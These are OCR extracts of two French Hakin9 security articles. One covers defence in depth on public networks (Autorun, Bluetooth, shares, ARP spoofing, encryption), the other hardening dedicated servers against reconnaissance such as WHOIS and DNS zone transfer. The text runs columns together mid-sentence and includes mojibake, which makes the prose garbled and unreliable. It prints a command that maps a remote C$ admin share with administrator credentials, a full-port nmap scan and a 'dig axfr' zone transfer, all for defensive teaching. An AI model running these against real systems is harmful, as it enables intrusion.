Internet nécessitant une connexion, etc. Un en général construits par les fabricants de recommande un logiciel Open Source
utilisateur avec 4 comptes de message- sorte que la personne qui a un accès phy- excellent : TruCrypt . Il s'agit d'un logiciel
ries électroniques, 3 comptes bancaires sique à l'appareil peut accéder avec des universel pour les systèmes d'exploitation
et 7 portails nécessitant une connexion méthodes très simples à la configuration Windows 2000/XP/2003/VISTA, Linux et
n'aura besoin de retenir que 3 mots de et aux données stockées dans l'appareil. Mac OS, permettant de chiffrer des par-
passe au lieu des 14 mots de passe à re- Cela signifie qu'une personne étrangère titions entières de disque. Une fois le mot
tenir s'il avait des mots de passe uniques. qui entre en possession de notre ordina- de passe protégeant nos partitions saisi,
Cette réduction de mots de passe non teur portable interceptera également toutes il est possible de travailler sur le disque
seulement allège notre mémoire mais en les données stockées dedans. En général, en question, comme s'il s'agissait de tout
plus, augmentera notre sécurité. Si le mot tout le monde s'en rend compte mais peu autre disque disponible dans le système.
de passe des messageries électroniques de personnes entreprennent des moyens TruCrypt était dépourvu de la possibilité
est intercepté lors d'utilisation d'un réseau de précaution en termes de sécurité physi- de chiffrer les partitions système con-
étranger, l'intrus ne disposera que de l'ac- que de son matériel informatique. trairement aux solutions commerciales.
cès à nos comptes de messageries et non Il s'avère toutefois que les fabricants Cependant, les version 5.0 et supérieu-
aux comptes bancaires ou autres services des ordinateurs portables ont prévu des res ne sont plus limitées. Pour chiffrer les
importants. protections physiques de leurs produits. disques, nous pouvons nous servir d'un
En naviguant sur Internet dans un ré- Actuellement, environ 99 % d'ordinateurs algorithme AES très sécurisé qui garan-
seau public, n'oubliez pas non plus d'utiliser portables sont équipés en effet d'un ver- tira toute la sécurité nécessaire à nos
uniquement ce qui est vraiment nécessai- rou Kensington Lock (appelé autrement données.
re. Si vous n'avez pas besoin de faire un
virement important, ne vous connectez pas
à la banque sur Internet juste pour regar-
der le solde de votre compte. Moins de
services vous utiliserez, moins l'intrus aura
d'opportunités d'intercepter des données
critiques. Si, en revanche, vous savez avant
un voyage que vous serez obligés d'utiliser
un seul service uniquement, par exemple,
un compte de messagerie électronique,
remplacez alors avant votre voyage le
mot de passe de ce service par un mot
de passe non utilisé ailleurs. Ainsi, s'il l'in-
tercepte, l'intrus n'aura accès qu'à un seul
service. Au retour, modifiez toutefois ce mot
de passe temporaire. Figure 2. Le programme DecaffeinatID a détecté la modification de l'adresse MAC cor-
En suivant ces principes de bon sens respondant à l'adresse IP de la porte ; cela signifie probablement une tentative d'attaque
pour utiliser les réseaux étrangers, sans re- Man in the middle

2/2010 HAKIN9 13
DOSSIER
L'accès physique des personnes nemis et les intrus qui présents dans les de Nonsecure mode (l'un des trois modes
étrangères à notre ordinateur implique réseaux étrangers. de travail possibles). Ce mode ne garantit
aussi à d'autres risques. Si vous voulez aucune protection pour la connexion ou
vous éloigner de votre ordinateur porta- Ennemi à la porte pour la transmission elle-même. Les deux
ble, n'oubliez pas de fixer votre protection En utilisant notre propre ordinateur dans autres modes emploient des protections
physique et surtout de vous déconnecter les conditions hostiles qu'offre le réseau telles que l'autorisation, l'authentification et
du système d'exploitation. Cette démar- public ouvert, il ne faut pas oublier de fer- le chiffrage des transmissions mais leur
che empêchera une personne étrangère mer toutes les portes par lesquelles un in- efficacité est à vérifier.
de s'approcher et d'utiliser momentané- trus pourrait potentiellement passer dans Il faut donc toujours, et en particulier
ment votre système dans un but inconnu. notre système. dans les endroits publics, désactiver les
Nous connaissons également des cas Comment donc prolonger la durée de interfaces de communication dont vous
de personnes qui s'approchent d'ordina- travail de notre ordinateur portable bran- n'avez pas besoin. Les notebooks sont
teurs laissés sans surveillance pendant ché sur la batterie, accélérer le fonction- en général équipés des commutateurs
un instant pour brancher une mémoire nement de son système d'exploitation et intégrés permettant d'activer et de désac-
flash spécialement préparée dans le port augmenter en même temps considérable- tiver rapidement le WiFi et le Bluetooth, il
USB. Si la fonction de Autodémarrage est ment sa sécurité ? Rien de plus simple... Il est donc conseillé de les utiliser. Activer la
activée dans le système d'exploitation de suffit de désactiver tous les périphériques carte WiFi, l'adaptateur Bluetooth et autres
l'ordinateur, l'ordinateur effectuera auto- et interfaces dont vous vous ne servez pas. périphériques système peut également
matiquement une procédure malveillante Si vous naviguez donc sur Internet dans un prolonger la durée de travail de votre or-
présente sur le pendrive (il peut s'agir d'ins- cybercafé avec votre ordinateur portable dinateur portable sur batterie et décharger
taller un cheval de Troie sur le système, de connecté par un câble réseau, désactivez les ressources système.
télécharger les fichiers dans lesquels le la carte WiFi et le Bluetooth. Ces deux in- Fermer les portes par lesquelles un
système stocke les mots de passe, etc.). terfaces activées constituent en effet une intrus pourrait entrer dans notre système
Pour cette raison, et pour de nombreuses porte potentielle pour un intrus. En géné- constitue un niveau défensif de la stratégie
autres relatives à la sécurité de notre sys- ral, les utilisateurs sont conscients qu'une DiD. Réfléchissons maintenant à la façon
tème, il est impératif de désactiver cette interface WiFi activée peut être à l'origine de préparer notre système d'exploitation et
fonction dans le système d'exploitation. À d'une fuite de données mais les risques les applications pour travailler dans un ré-
titre d'exemple, dans le système Windows relatifs à la connexion Bluetooth sont gé- seau étranger.
XP, vous pouvez désactiver globalement néralement ignorés. Il en est probablement
cette fonction à l'aide d'un composant ainsi car Bluetooth fait penser d'habitude OS & Apps Security
logiciel enfichable Principes du groupe aux réseaux et aux appareils d'une por- Sécuriser le système d'exploitation et les
(commande gpedit.msc). Naviguez à la tée de quelques mètres. C'est toutefois applications constitue bien évidemment
vue Configuration de l'ordinateur/Modèles une opinion qui n'est pas totalement juste. une question-clé dans la stratégie Defen-
administratifs /Système dans le compo- Les appareils Bluetooth ont été divisés en ce in Depth. Ce niveau défensif est aussi
sant logiciel et activez l'option Désactiver trois classes de puissance. La portée des le plus difficile à créer en pratique parmi
la fonction Autodémarrage. appareils de la classe 3 et 2 n'est pas su- tous les niveaux analysés. La quantité de
Grâce aux conseils ci-dessus, vous évi- périeure à 1 et 10 mètres respectivement systèmes d'exploitation, d'applications, de
terez que vos données soient interceptées alors que les appareils de la classe 1 sont services et de configurations est tellement
lors d'une intervention physique de tierces capables de travailler sur des distances importante qu'il est vraiment difficile de
personnes. Se conformer à ces principes jusqu'à 100 mètres ! Une autre raison maîtriser la sécurité de notre propre sys-
permet aussi de créer un nouveau niveau d'ignorer les risques relatifs à ce standard tème. Nous pouvons toutefois distinguer
dans la stratégie défensive contre les en- de communication est qu'il est d'habitude plusieurs points-clé pour la sécurité du
employé pour brancher des périphéri- système mis à l'épreuve dans un réseau
ques innocents, tels que souris, claviers, informatique étranger et des solutions uni-
écouteurs, etc. De même que le WiFi, le verselles pratiquement pour tous.
Bluetooth peut très bien servir à créer un Tout d'abord, le système d'exploitation
réseau informatique ad hoc. Comme vous et les applications doivent être actualisés
le savez, un réseau de ce type est dépour- avant (nous insistons : avant) que l'ordina-
vu d'un appareil central garantissant des teur soit connecté à un réseau inconnu.
mécanismes de sécurité supplémentaires Pratiquement tous les systèmes d'exploi-
(comme Access Point dans le cas du ré- tation utilisés actuellement sont équipés
seau WiFi), il sert donc facilement à l'intrus de fonctions permettant de les mettre à
Figure 3. Le programme ARPFreeze per- pour pénétrer. Sans entrer dans les détails jour facilement. Dans les systèmes Win-
met de créer des entrées statiques dans relatifs à la sécurité de Bluetooth, remar- dows, il suffit d'utiliser la fonction Windows
le tableau ARP quons qu'un appareil peut travailler en mo- Update et dans les systèmes Linux, nous

14 HAKIN9 2/2010
PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

obtenons des résultats similaires (selon la les liens aux versions actuelles du logiciel il suffit de lancer des commandes très
distribution) avec les commandes : apt-get ou aux patchs appropriés. Cette démar- simples : netstat -a (dans les systèmes de
update, apt-get upgrade, yum update, etc. Il che simplifie considérablement le proces- famille Windows) ou lsof -i (dans les sys-
est interdit de faire des mises à jour pen- sus de préparation du système à affronter tèmes de famille Linux). Une bonne idée
dant que vous naviguez dans un réseau le réseau inconnu. consiste aussi à scanner les ports TCP
informatique inconnu. Dans un tel cas, Nous avons donc mis à jour notre sys- et UDP au moyen du programme Nmap
il n'est pas certain que les mises à jour tème et toutes les applications installées. lancé au niveau d'un autre ordinateur. Un
téléchargées sont originales et viennent Aucun exploit, même connu, ne nous fait exemple de commande : nmap -p T:
vraiment du fabricant. Ce n'est pas un ris- plus peur. Chouette, mais qu'en est-il des 0-65535,U:0-65535 adresse _ IP _
que théorique. Un outil spécial, appelé Evil- exploits du type Zero-day ? En effet, pen- de _ l'ordinateur _ vérifié . Tous les
grade, est disponible sur Internet. Il permet dant la conférence consacrée à la sécu- services détectés ainsi doivent être désac-
d'intervenir dans le processus d'actualisa- rité informatique, il est fort probable qu'un tivés avant de se connecter à un réseau
tion de plusieurs applications populaires spécialiste utilise le même réseau et ayant étranger. Si pour une raison un service ne
(par exemple, supplément Java, iTunes, découvert une nouvelle faille dans le sys- peut pas être désactivé, il faut installer tous
OpenOffice.org et autres). Le principe de tème d'exploitation ou un service et ayant les correctifs disponibles. Si vous n'avez
fonctionnement est simple : le logiciel se créé un nouvel exploit, il voudra le tester sur besoin du service que localement, il faut in-
déguise en un serveur légal de mises à le public présent. Une solution très simple terdire le port à l'aide du pare-feu de sorte
jour et répond aux demandes d'actualisa- peut consister à désactiver tous les ser- qu'il soit disponible uniquement à partir de
tions envoyées par les applications sen- veurs et services réseau qui travaillent sur l'adresse 127.0.0.1 (localhost).
sibles à cette attaque. Mais, à la place notre ordinateur portable. Il arrive souvent Il est une autre question liée à la con-
d'actualisations, l'intrus peut ainsi installer en effet que les informaticiens et les pro- figuration du système d'exploitation à la-
n'importe quel code malveillant dans le grammeurs installent sur leurs ordinateurs quelle il faut faire attention : les partages
système. Evilgrade, en tant que framework portables toute une variété de serveurs réseau sur l'ordinateur portable. Cette
multimodules, peut être modifié librement tests : Web, bases de données et liés aux question sera analysée principalement sur
pour supporter d'autres applications. Il faut différents types de services de gestion de les systèmes Windows mais le même pro-
donc faire particulièrement attention aux si- matériel et de logiciels. Avant de se con- blème peut apparaître dans les systèmes
tes d'où nos applications téléchargent les necter à un réseau inconnu, il faut abso- de la famille Linux (dans ce cas-là, il faut
mises à jour. lument désactiver tous les serveurs de ce faire particulièrement attention à la confi-
Les mécanismes d'actualisations inté- type, inutiles au moment donné. Afin de guration Samby et NFS).
grés dans le système d'exploitation peu- vérifier quels ports ont été ouverts dans Il vous est peut-être arrivé de transférer
vent être incapables de mettre à jour les notre système par les services installés, les photos privées de l'ordinateur portable
logiciels fonctionnant dans le système. Et
les statistiques démontrent clairement que
le nombre d'exploits dirigés non seulement
vers le système d'exploitation lui-même
mais aussi vers les applications présen-
tes augmente tous les jours. Vous avez
probablement entendu parler récemment
des failles dans le logiciel Adobe (Flash
et Reader). À l'instar du système d'exploi-
tation, toutes les applications doivent être
mises à jour avant de se connecter à un
réseau étranger. Les mécanismes inté-
grés dans le système d'exploitation peu-
vent être insuffisants dans ce cas-là. À titre
d'exemple, Windows Update n'est capable
d'actualiser que les logiciels de la société
Microsoft. Afin d'identifier des applications
avec failles, nécessitant des mises à jour,
dans notre système, je vous recommande
le scanneur gratuit (pour l'usage privé) : Se-
cunia Personal Software Inspector. Après
avoir identifié et évalué le niveau de risque
relatif aux failles trouvées, le programme Figure 4. L'environnement du système Incognito a été configuré par ses concepteurs pour
propose de les réparer toutes, en précisant un travail sécurisé et anonyme dans n'importe quel réseau informatique

2/2010 HAKIN9 15
DOSSIER
vers l'ordinateur fixe au domicile à l'aide la commande net use z: \Adresse _ dédiées à la protection des systèmes qui
d'un répertoire partagé ? Pendant ce trans- IP _ ou _ Nom _ de _ l'ordinateur\C$ travaillent dans des conditions hostiles.
fert, vous ne vous êtes préoccupé d'aucune /user:administrateur mot _ de _ DecaffeinatID est un exemple d'une telle
protection car il s'agissait d'un partage au passe _ de _ l'administrateur per- application. C'est un simple système IDS,
sein de votre réseau à domicile. Si vous mettra à un utilisateur distant de mapper capable de détecter les attaques dange-
oubliez toutefois ce répertoire partagé toute votre partition C: comme un disque reuses comme ARP Spoofing (Figure 4)
sans protection et que vous branchez votre Z: sur son système local. Nous rappelons car ce programme suit :
ordinateur à un réseau informatique étran- donc qu'il faut trouver des mots de passe
ger, tout utilisateur de ce réseau pourra té- puissants, en particulier pour les comptes • les modifications dans le tableau ARP,
lécharger le contenu du répertoire partagé. de l'administrateur. La solution la plus sûre • les événements dans le journal log de
Nous connaissons également des cas où consiste à désactiver complètement l'ac- sécurité,
des logiciels malveillants se propagent par cès à tous les partages avant de brancher • les événements dans le journal log du
les partages réseau non protégés auto- l'ordinateur à un réseau étranger. Pour ce pare-feu du système Windows.
matiquement détectés. faire, vous pouvez désactiver tous les par-
Avant de vous brancher à un réseau tages, un par un, à l'aide de l'option Arrêter À titre d'exemple, si le programme voit que
étranger, il faut donc obligatoirement vé- le partage et/ou désactiver l'exception Par- l'adresse physique retenue dans le tableau
rifier ce que partage votre ordinateur et tager les fichiers et les imprimantes dans ARP pour l'adresse IP correspondant à la
modifier les paramètres systèmes. Pour ce la configuration du pare-feu du système. porte change, il affichera un avertisse-
faire, dans les systèmes Windows, il suffit Il est également possible de désinstaller ment sur une attaque probable en cours
de lancer Gestion de l'ordinateur (com- complètement le protocole Partager les fi- dont l'objectif est d'intercepter notre trafic
mande compmgmt.msc) et de sélectionner chiers et les imprimantes dans les réseaux réseau.
la position Dossiers partagés. Il faut vérifier Microsoft Networks dans les propriétés ARPFreeze est un autre exemple de lo-
tous les partages réseau et les droits affé- de la connexion réseau. Afin de vérifier la giciel créé spécialement pour protéger les
rents. Les partages, dont le nom se termine configuration des partages dans les systè- systèmes travaillant dans un réseau poten-
par le caractère $, sont des partages ad- mes Linux, il faut analyser la configuration tiellement dangereux. Ce programme crée
ministratifs donc seuls les administrateurs présente dans les fichiers de configuration un tableau ARP statique (Figure 5), ce qui
du système y ont accès. Si l'un des comp- propres à la distribution donnée et en par- permet d'armer notre système contre les
tes de l'administrateur est protégé par un ticulier dans le fichier smb.conf. attaques empoisonnant le tableau ARP et
mot de passe faible, les partages adminis- En protégeant votre propre système, il en conséquence, contre les attaques du
tratifs constituent un risque particulier. À ti- est recommandé d'utiliser aussi une sé- type Man in the middle.
tre d'exemple, le partage C$ activé permet rie d'applications spécialisées. Mis à part Au lieu de réparer et de protéger notre
à n'importe quel utilisateur d'accéder à tou- un logiciel antivirus obligatoire et un pare- propre système d'exploitation et les dizai-
te la partition système C: ! À titre d'exemple, feu, il existe de nombreuses applications nes d'applications et de services installés, il
existe une stratégie complètement différen-
te à laquelle recourir. Il faut décider d'utiliser
Sur le Net un système d'exploitation spécialement
• http://www.cert.org/ – Computer Emergency Response Team ; préparé, super sécurisé, du type Live CD
• http://www.remote-exploit.org/backtrack.html – BackTrack ; pour utiliser les réseaux étrangers dange-
• http://www.wallofsheep.com/ – Wall of Sheep project ; reux. Actuellement, la distribution spéciale
• http://www.usatoday.com/tech/conventions/2005-08-01-hacker-conference_x.htm – Hac- de Linux, Incognito, est le système le plus
kers demonstrate their skills in Vegas ;
intéressant de ce type. Il s'agit d'une dis-
• http://pl.kensington.com/ – Site officiel de la société Kensington ;
tribution à démarrer directement à partir
• http://www.truecrypt.org/ – Site officiel du projet TruCrypt ;
• http://csrc.nist.gov/publications/nistpubs/800-48/NIST_SP_800-48.pdf – Wireless Network du CD ou de la mémoire flash. Elle repose
Security 802.11, Bluetooth and Handheld Devices ; sur Gentoo Linux. Ce système est spécia-
• http://secunia.com/vulnerability_scanning/personal/ – Secunia Personal Software Inspec- lement conçu pour utiliser les réseaux pu-
tor ; blics de manière sûre et anonyme. Il est
• http://www.irongeek.com/i.php?page=security/decaffeinatid-simple-ids-arpwatch-for-win-
aussi possible de lancer l'instance virtuelle
dows – DecaffeinatID: A Very Simple IDS ;
de ce système directement sous le systè-
• http://www.irongeek.com/i.php?page=security/arpfreeze-static-arp-poisoning – ARPFreeze:
A tool for Windows to protect against ARP poisoning ; me d'exploitation Windows. C'est possible
• http://anonymityanywhere.com/incognito/ – Incognito Live CD ; car la distribution a été intégrée à l'émula-
• http://www.torproject.org/ – Tor on-line ; teur QEMU avec le code ouvert. Toutes les
• http://www.elcomsoft.com/ – ElcomSoft Co.Ltd. ; applications présentes dans cette distribu-
• http://www.pgpi.org/ – The International PGP Home Page; tion, telles que navigateurs Internet, clients
• http://zfoneproject.com/ – The Zfone Project ;
de messageries électroniques, program-
• http://www.irongeek.com/ – Irongeek.
mes ID, etc. sont configurées immédia-

16 HAKIN9 2/2010
PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

tement après le démarrage du système. l'option de chiffrage comprend les options Les données protégées par des al-
Toutes les connexions sortantes seront de choix de l'algorithme de chiffrage et de gorithmes de chiffrage puissants seront
rendues anonymes au moyen du réseau la longueur de la clé, il est recommandé inutiles pour l'intrus. Il est donc conseillé
Tor. N'oublions pas que utiliser le réseau de consacrer un moment pour faire le bon de penser à chiffrer les fichiers les plus
Tor garantit uniquement un bon anonymat choix. Il arrive souvent que le programme importants. Chiffrer les fichiers constitue
mais ne chiffre pas les connexions. Le sys- propose par défaut un algorithme de chif- le dernier élément de la stratégie de dé-
tème Incognito est toutefois équipé d'une frage très faible. À titre d'exemple, dans fense multi-niveaux à adapter lorsque vous
série d'outils supplémentaires proposant le les programmes Microsoft Word et Excel, vous retrouverez dans les réseaux publics
chiffrage, tels que le programme GnuPG, version 97-2003, le chiffrage proposé par dangereux.
permettant de chiffrer les courriels. Utiliser défaut est très faible avec une clé de 40-
ce système d'exploitation peut considéra- bits seulement. Des logiciels (par exem- Conclusion
blement augmenter votre sécurité quand ple, Elcomsoft Advanced Office Password Vous pouvez penser que la stratégie propo-
vous utilisez un réseau inconnu. Remar- Breaker) ont donc été conçus, capables sée demande trop d'effort et est trop com-
quez aussi que cette distribution Linux de déchiffrer tout fichier chiffré par un algo- pliquée pour l'utiliser à tout moment dans
permet de détourner les mécanismes rithme par défaut. La longueur du mot de les réseaux inconnus. Cette opinion est
de filtrage (filtrage URL, filtrage IP, etc.) du passe et sa complexité n'ont alors aucune toutefois fausse. Premièrement, la sécurité
contenu. Si donc un réseau donné interdit importance car le programme vérifie tou- de nos données privées ou professionnel-
d'utiliser certaines ressources Internet, In- tes les combinaisons possibles (240 pos- les vaut cet effort. Deuxièmement, préparer
cognioto rend probablement possible l'ac- sibilités) de la clé. Un ordinateur moderne un système blindé ne se fait qu'une seule
cès à toutes les ressources. est capable de vérifier toutes les possibili- fois et ensuite, il suffit de le mettre à jour
Une fois le système d'exploitation fort tés en 24 heures. Il faut donc toujours opter et de se conformer aux principes d'une
créé, notre stratégie Defens in Depth est pour l'algorithme le plus sûr parmi les al- bonne utilisation des réseaux étrangers
quasiment complète. Nous construirons gorithmes de chiffrage disponibles. À titre présentés. La procédure proposée, inspi-
une dernière ligne de défense. Nous pro- d'exemple, actuellement, c'est l'algorithme rée par la stratégie Defence in Depth est
tégerons en plus les données de sorte AES avec la clé de 256 bits qui est le plus vraiment efficace et si elle est correcte-
que même interceptées, elles n'apportent sûr. Il faut aussi utiliser les mots de passe ment effectuée, elle garantira une sécurité
aucun avantage à l'intrus. longs et compliqués car la plupart des quasiment à 100 % de vos données. Briser
autres méthodes d'ouverture de fichiers simultanément les cinq niveaux de protec-
Données blindées chiffrés consiste à vérifier toutes les com- tion créés autour de vos données est qua-
Nous pouvons faire de nos fichiers une der- binaisons possibles de mots de passe. siment impossible, même pour un cracker
nière ligne de défense au cas où toutes les Réfléchissons également à chiffrer les expérimenté. Il est donc fort probable que
autres lignes susmentionnées étaient bri- messages envoyés via les messageries l'attaquant prendra pour cible un autre sys-
sées par l'intrus et nos données arrivées électroniques. Dans ce cas, nous pouvons tème, plus faible, s'il rencontre de nouvelles
dans des mains non autorisées. Il est possi- utiliser le programme Pretty Good Privacy protections chez vous.
ble de protéger toute sorte de donnée avec (PGP, en français, Assez bonne confidenti- Pour terminer, évoquons une autre mé-
des méthodes simples de sorte que quasi- alité), disponible sous forme d'un complé- thode assurant un travail en sécurité dans
ment aucun intrus ne pourra rien faire. ment pour la plupart de programmes de un réseau étranger : la connexion de type
La quasi-totalité des programmes utili- messageries les plus populaires. Le PGP remote vpn au réseau (à domicile ou au
sés au quotidien génère les données non permet de chiffrer et de déchiffrer les mes- travail), où vous pourrez vous loguer à un
protégées par défaut donc accessibles à sages de messageries électroniques, de ordinateur à distance. Cette solution peut
des tiers. mettre une signature numérique et de véri- très bien remplacer notre stratégie de dé-
La plupart des utilisateurs se rendent fier l'identité de l'expéditeur (à condition qu'il fense développée. Si vous réussissez à
également compte que les applications utilise aussi PGP). créer un passage sécurisé vers un ordi-
d'aujourd'hui sont dotées d'options diver- Si vous utilisez un réseau inconnu, vous nateur distant et travailler dessus, un intrus
ses et variées pour protéger les données, pouvez aussi penser à chiffrer les discus- potentiel écoutant sur un réseau étranger
en général par le chiffrage mais peu de sions VoIP. Le programme Zfone, disponi- sera capable d'intercepter uniquement la
personnes utilisent cette fonctionnalité. ble sous forme de compléments pour un transmission chiffrée et vous serez en sé-
Il est possible de chiffrer (en utilisant la grand nombre de programmes populaires curité.
fonctionnalité du logiciel ou des extensions permettant de discuter VoIP (X-Lite, Gizmo,
disponibles) les données créées par tou- XMeeting, Google Talk VoIP, Yahoo Mes-
tes les suites bureautiques, les fichiers au senger's VoIP client, Magic Jack et autres)
format PDF, les fichiers contenant les ba- protège les discussions à l'aide du proto- À propos de l'auteur
L'auteur a fait ses études à la faculté de l'Automatique,
ses de données et autres. Il suffit de trou- cole ZRTP. Ce programme ne supporte de l'Electronique et de l'Informatique de l'Ecole Polytech-
nique de Silésie à Gliwice. Il est diplômé de la section
ver l'option concernée dans le programme pas malheureusement le protocole Skype, Informatique, spécialité : Bases de données, réseaux et
utilisé ou d'installer un plug-in approprié. Si qui n'a jamais été officiellement publié. systèmes informatiques.

2/2010 HAKIN9 17
DOSSIER
SÉBASTIEN DUDEK

Serveurs Dédiés
Protégez-vous des
attaques sur le Web
Degré de difficulté

Les serveurs sont les principales cibles d'attaques sur le Web


et pourtant les questions au sujet de la sécurité sont souvent
laissées de côté, ce qui amène très souvent à des conséquences
catastrophiques.

L
es entreprises comme les particuliers Cela nous amène tout de même à nous poser
ont des besoins très précis concernant le la question suivante : nos projets séparés des
stockage et la publication des informations. autres utilisateurs sont-ils réellement en sécurité ?
Il est clair qu'utiliser un serveur mutualisé serait Pour y répondre, nous verrons en parallèle les
trop risqué pour héberger du contenu confidentiel différents types d'attaques avec les correctifs à
et des projets en cours de développement. appliquer pour éviter les principales attaques.
En effet, sur les mutualisés certains droits
d'accès sont oubliés ou mal configurés. Chaque La visibilité
projet se retrouvant sur le même serveur et il faut La visibilité, contrairement à une idée répandue,
limiter l'exécution des scripts à leur répertoire est une arme pour l'attaquant qui connaîtra ainsi
respectifs avec le Safe_Mod ou Open_Base_Dir les services utilisés avec leurs versions et leurs
(largement conseillé). Seulement, l'utilisation vulnérabilités référencées ou après analyse
de ces limitations est parfois rendue obsolète des codes sources. Le problème des serveurs
par bypassing qui consiste à exploiter une par défaut est qu'ils sont toujours visibles en
faille fonctionnelle présente dans un langage laissant tourner des services ou en répondant
CET ARTICLE puissant tel que PHP, Perl, Python. Même si une aux pings.
EXPLIQUE... série de patches est appliquée pour boucher les Être invisible, sur le web bien évidement, est
trous de sécurité, il faut garder à l'esprit que les chose possible si le serveur fonctionne en passif,
La prise d'information.
correctifs au niveau de la sécurité ne peuvent ne répondant à aucune sonde ni enquête. Il est
L'identification des vecteurs
d'attaques et des vulnérabilités que complexifier une attaque. C'est pour cela judicieux de bien choisir les vecteurs visibles
Les différents types d'attaques
que vous tendrez à utiliser un serveur dédié ou non par le système. En effet, les services
après analyse des informations afin de marquer une séparation avec les autres en externe ne devant pas nécessairement être
recueillies.
utilisateurs. exposés peuvent simplement rester en interne.
La sécurisation des services.

CE QU'IL FAUT Transfert de zone : The Old Fashion brute force


SAVOIR... Vous remarquez qu'après avoir restreint le transfert de zone, aucun résultat n'est retourné mais il faut avoir à l'esprit
Administration de serveurs (Unix, que ce n'est qu'une question de temps car d'autres techniques subsistes. En effet, comme la recherche de mot de
Linux, Windows, ...) passe, il est possible d'effectuer une attaque par brute force.
Des notions en penetration Nous pourrions imaginer un algorithme qui prend un nom de domaine et teste une série d'alias enregistrés
testing. dans un dictionnaire. Et après avoir vérifié le statut de ces alias, nous pouvons en rechercher d'autres suivant une
Bases de survie en grammaire précise de [a-z0-9] par combinaison.
programmation (C, PHP, Perl, Un tel algorithme existe sous le nom de Fierce et est disponible à cette adresse : http://ha.ckers.org/fierce/
Python, ...)

18 HAKIN9 2/2010
SERVEURS DÉDIÉS PROTÉGEZ-VOUS DES ATTAQUES SUR LE WEB

Connaître sa cible Ces informations permettent à En revanche, sous Linux, il faudra


Avant la prise d'information, le serveur l'attaquant de connaître la victime et ainsi se contenter d'une autre commande
cible est considéré comme une sorte utiliser ces informations comme une piste puisque les options nslookup ne sont pas
de blackbox car nous ne connaissons pour affiner et pousser encore plus loin les interfacées comme pour Windows et Unix.
rien de notre victime, à part son adresse recherches. L'attaquant pourra donc avoir La commande à utiliser pour lister tous les
opihad.com (fictive pour l'exemple). quelques détails utiles pour entreprendre records permis, sera dig comme ceci :
La consultation de bases de données une attaque physique ou, dans notre cas,
WHOIS commence à être connue de tous, pour étendre le domaine de recherche wwitb~# dig @<Serveur DNS> <nom_de_
même chez les avocats, secrétaires et des failles grâce aux principaux DNS. Le domaine> axfr
autres personnes n'ayant pas forcément Listing 1. montre un résultat du WHOIS
les connaissances techniques en sécurité pour opidah.com Restreindre le transfert de
informatique. Lorsque nous achetons un Il existe des services de consultation zone
nom de domaine, les informations sur des données WHOIS comme ce site par Après avoir obtenu la liste des entrées,
l'acheteur ainsi que le ou les responsables exemple : http://whois.domaintools.com/. l'attaquant n'aura qu'à tester les différentes
techniques (nom, prénom, adresse, code En utilisant n'importe quel moteur de adresses et énumérer les services.
postal, numéro de téléphone), les serveurs recherche, vous devriez retrouver des Comme indiqué précédemment, si un
DNS principaux (dns1.opihad.com, services équivalents, vous évitant les ancien serveur ou un serveur virtuel
dn2.opihad.com, dn3.opihad.com). lignes de commandes. incorrectement maintenu s'y trouve,
l'attaquant l'utilisera contre la victime.
Protection des informations Toutefois, limiter le Transfert de Zone
Listing 1. Résultat de notre
WHOIS pour opidah.com (parties Pour protéger vos informations, il y a deux sous Windows s'effectue par l'utilitaire MMC ,
intéressantes) solutions : soit entrer de fausses informations, puis sous Service et Application →
les rendre privées, soit entrer de fausses DNS → <SERVER> → Forward Lookup
wwitb~# whois opidah.com
domain: opidah.com
informations et rendre un domaine privé. Zone → <Nom de Zone>, puis Propriété
reg_created: 2009-04-22 13:06:25 La première solution est bonne et en cochant l'option « Only to the
expires: 2011-04-22 13:06:25 mais vous décrédibilise auprès des following servers » en précisant la
created: 2009-04-22 15:06:26
clients et il est difficile d'avoir confiance liste des serveurs de sauvegarde, ou tout
changed: 2010-11-12 15:38:03
transfer-prohibited: yes en une entreprise envoyant de fausses simplement, décochez l'option « Allow
ns0: dns1.opidah.com informations. La seconde se fait, entre Zone transfert » si vous jugez ne pas
ns1: dns2.opidah.com autres, en achetant un nom de domaine en avoir besoin.
ns2: dns3.opidah.com
owner-c:
qui comprend l'option de type WhoisGuard Sous Unix et Linux avec Bind, nous
nic-hdl: TG8520-DIGAN (http://www.whoisguard.com/), rendant pouvons définir des listes d'accès et
owner-name: James Paledown vos informations privées comme indiqué restreindre les transferts de zones grâce
organisation: ~
au Listing 2. à la directive allow-transfer comme
person: James Paledown
address: '12, place des zics' sur le Listing 4 avec la liste d'accès
zipcode: 75014 Les services de noms tpeux en modifiant le fichier /etc/bind/
city: Paris Chaque adresse IP est associée à un serveur named.conf.local.
country: France
DNS qui se charge de renvoyer l'adresse IP.
phone: +33.145147005
fax: '' Grâce au transfert de zone, l'attaquant liste Retreindre les requêtes DNS
email: admin@opidah.com les entrées DNS d'un domaine pour s'en Un serveur DNS permet à un client de
admin-c: servir comme vecteur d'attaque potentiel. se connecter et effectuer des requêtes
nic-hdl: TG8520-DIGAN
owner-name: James Paledown
Il faut noter que, très souvent, d'anciens concernant les domaines hébergés.
organisation: ~ serveurs physiques ou virtuels abandonnés Cependant, quelques open resolvers,
person: James Paledown sont listés et aident ainsi l'attaquant selon les souvent être utilisés pour des attaques
address: '12, place des zics'
failles présentes sur ces serveurs. DdoS, acceptent les requêtes récursives
zipcode: 75014
city: Paris Sous Unix et Windows (pas sur Linux), pour n'importe quel domaine. Les requêtes
country: France un transfert de zone peut se réaliser récursives et non-récursives doivent être
phone: +33.145147005 grâce à la commande nslookup comme interdites pour les clients externes afin
fax: ''
représenté au Listing 3. d'éviter les spoofing conditions ou le cache
email: admin@opidah.com
tech-c:
….
bill-c: ��������������������������
….
�������������� ��������������

Figure 1. Communication entre deux serveur DNS

2/2010 HAKIN9 19
DOSSIER
snooping. Nous pouvons donc restreindre les messages DNS avec une empreinte Nous pouvons maintenant spécifier la clé
les requêtes récursives et non-récursives numérique calculée à l'aide d'une clé générée à notre fichier de configuration
dans une liste d'accès appelée « trusted » secrète partagée entre l'émetteur et de named.conf :
comme indiqué dans le Listing 5. récepteur (voir Figure 1).
Cette configuration aura pour effet Pour le TSIG, nous générerons en key tsikey-opidah.com. {
de ne retourner aucun résultat comme exemple une clé tsigkey-opidah.com algorithm hmac-md5;
souhaité. associée au domaine opidah.com : secret ''lHctNAZhIlqyekBbIk99
wwitb~# dnssec-keygen -a HMAC-MD5 jghEJg60syXJFAtkBeDOJMNZVP
DNS et Encryption : TSIG et -b 512 -n HOST tsikey-opidah.com. eEwM8LtRUr OI6n5Ta2OgmiX1/
